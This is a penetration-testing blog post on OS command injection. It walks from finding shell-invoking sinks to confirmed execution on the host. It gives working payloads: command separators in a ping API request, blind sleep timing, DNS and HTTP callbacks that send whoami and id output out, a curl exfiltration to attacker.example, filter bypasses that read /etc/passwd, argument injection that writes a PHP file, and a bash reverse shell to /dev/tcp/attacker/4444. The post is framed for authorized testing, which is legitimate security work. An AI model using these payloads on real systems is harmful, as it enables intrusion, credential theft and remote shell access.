cd ../blog

OS Command Injection: From a Shell Metacharacter to the Host

When user input reaches a shell, a single metacharacter runs attacker commands on the server. We cover the sinks, blind detection by timing and OOB, and a working command-execution PoC.

OS command injection happens when an application builds a shell command from user input and a metacharacter lets you append your own command to it. Because the result runs with the web process's privileges, one ; or | in the right parameter is the difference between a feature and a shell on the host.

Where it hides

Look for functionality that plausibly shells out to a system tool. The classic sinks wrap a CLI:

  • "Ping/traceroute this host" network diagnostics.
  • File conversion and image processing (ImageMagick, ffmpeg, ghostscript, pdftotext).
  • DNS/WHOIS lookups, certificate checks, archive extraction (tar, unzip).
  • Backup, export, or "run report" features that call a binary.
  • Anything passing a filename, URL, or hostname to a subprocess.

The metacharacters that break out of the intended command: ; & | && || \...` $(...) %0a` (newline). Detection splits into in-band (output returns) and blind. For in-band, append a command whose output you would notice:

POST /api/diagnostics/ping HTTP/1.1
Host: app.example.com
Content-Type: application/json

{"host": "127.0.0.1; id"}

If the response contains uid=... after the ping output, injection is confirmed. When nothing comes back, go blind — timing is the most reliable oracle. A delay you control proves execution:

# Each payload should add ~5s if injected; test the separators in turn
127.0.0.1 & sleep 5
127.0.0.1 | sleep 5
127.0.0.1 %0a sleep 5
$(sleep 5)
`sleep 5`

Pair timing with an OOB callback for certainty — a DNS or HTTP hit removes any doubt that the delay was coincidental:

127.0.0.1; nslookup $(whoami).abcd.oast.fun
127.0.0.1; curl http://abcd.oast.fun/$(id|base64)

commix automates separator selection, blind timing, and OOB confirmation against a captured request once you have a candidate parameter.

Reproducing it

The cleanest repro is in-band with a marker command. Inject and read the output directly:

POST /api/diagnostics/ping HTTP/1.1
Host: app.example.com
Content-Type: application/json

{"host": "127.0.0.1; echo CMDINJ-$(whoami)-$(hostname)"}

A response containing CMDINJ-www-data-web01 proves command execution with the service account. For a blind target, exfiltrate the same data over DNS/HTTP since you cannot see stdout:

# Runs on the server; ships whoami out through your listener
127.0.0.1; curl https://attacker.example/x?u=$(whoami)

The request arriving on your server carrying the username is the proof.

When the input is placed inside quotes by the application, break out first. If the command is ping -c1 "$host", a payload of "; id; echo " closes the quote, runs your command, and reopens it. When spaces are filtered, substitute them with ${IFS} or brace expansion:

127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1;{cat,/etc/passwd}

When the binary is invoked without a shell, classic separators may not fire — but argument injection still does. If a filename is passed to a tool, a value like --output=/var/www/html/x.php or an ImageMagick coder string (https://x/"|curl attacker...) can reach execution through the program's own option parsing.

Going further

Once execution is confirmed, escalate from a marker to a controlled foothold in an authorized engagement:

  • Upgrade to an interactive shell with a reverse connection (bash -i >& /dev/tcp/attacker/4444 0>&1).
  • Read credentials and config from disk and from env.
  • Pivot to internal services the host can reach.

A practical recon tell is any diagnostic, conversion, or "run" feature whose result clearly came from a CLI tool — its error messages often leak the exact command line, telling you precisely where your input lands and which quoting to break. Capture the injecting request, the marker output (or the OOB callback for blind), and the privilege context (whoami). Confine all testing to authorized targets and keep payloads to benign markers unless active exploitation is in scope.